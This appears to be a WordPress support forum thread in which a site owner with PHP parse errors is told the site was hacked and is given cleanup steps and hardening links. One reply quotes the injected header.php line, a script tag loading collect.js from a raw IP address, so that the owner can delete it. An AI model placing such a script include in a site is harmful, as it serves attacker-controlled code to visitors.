Parse error: syntax error, unexpected '{'

Chris751
(@chris751)

11 years, 5 months ago

I get the following error message when i try to load my site

Parse error: syntax error, unexpected ‘{‘ in /var/www/maigaardcavaliers.dk/public_html/wp-includes/load.php on line 508

i recently updated to the newest version of wordpress, but the error did not occur until a while after.
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my load.php file code looks like this :

What do i do, i cant acces anything

[WAY too much code to post here – please use a pastebin ]

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Flying Pebble
(@flying-pebble)

11 years, 5 months ago

You have been hacked. To immediately fix the problem login through ftp and rename your traffic counter widget plugin folder to something else like “OLD_traffic-counter-widget” Then navigate to your theme folder and open your header.php file and remove this line. <script type="text/javascript" src="http://122.155.168.105/ads/inpage/pub/collect.js"></script>

Once that is done you should be able to see your site and log in. You aren’t out of the woods yet, you need to download a security plugin that will scan your files, like sucuri or wordfence. You will need to do a fresh install and re install your plugins as well as your theme files. The problem is it will more than likely come back since they do not have a fix for it yet. Hope that helps.

Thread Starter Chris751
(@chris751)

11 years, 5 months ago

Thanks that makes sense. I have done the first steps. Now i am getting the following message:
Parse error: syntax error, unexpected ‘}’ in /var/www/maigaardcavaliers.dk/public_html/wp-content/themes/Avada/header.php on line 2721

this is the section that has the error:

[hacked code removed – please do not post that here]

Dan Russell
(@danrussell)

11 years, 5 months ago

Hello,

You should reinstall the Avada theme with the original zip from provider.

adnet
(@akmaldesigns)

11 years, 5 months ago

Guys can you help me too? Im getting hacked –> http://sitecheck.sucuri.net/results/akmaldesigns.net/

What should I do?

WPyogi
(@wpyogi)

11 years, 5 months ago

If your site has been hacked, you need to go through all of the steps to clean that up or it will happen again – see:

http://codex.ww.wp.xz.cn/FAQ_My_site_was_hacked
http://ww.wp.xz.cn/support/topic/268083#post-1065779
http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/
http://ottopress.com/2009/hacked-wordpress-backdoors/

Additional Resources:
Hardening WordPress
http://sitecheck.sucuri.net/scanner/
http://www.unmaskparasites.com/
http://blog.sucuri.net/2012/03/wordpress-understanding-its-true-vulnerability.html
http://blog.sucuri.net/2010/07/understanding-and-cleaning-the-pharma-hack-on-wordpress.html

WPyogi
(@wpyogi)

11 years, 5 months ago

Also, please don’t post hacked code on the forums here – if you need to post if for someone to look at it, you can use a pastebin –

http://codex.ww.wp.xz.cn/Forum_Welcome#Posting_Code

adnet
(@akmaldesigns)

11 years, 5 months ago

thanks for the advice, im currently trying to look for that stupid malware script in my files and it’s really pain in the @$$.

And right now I’m also replacing my old themes with newer version, if it fails, I’ll go nuts!

Thanks for the links man, I really appreciate it.

WPyogi
(@wpyogi)

11 years, 5 months ago

Yes, it’s a horrible pain in the …. ! Such a pointless waste of so many people’s time.

Here’s some good info about avoiding hacks next time around –

http://codex.ww.wp.xz.cn/Hardening_WordPress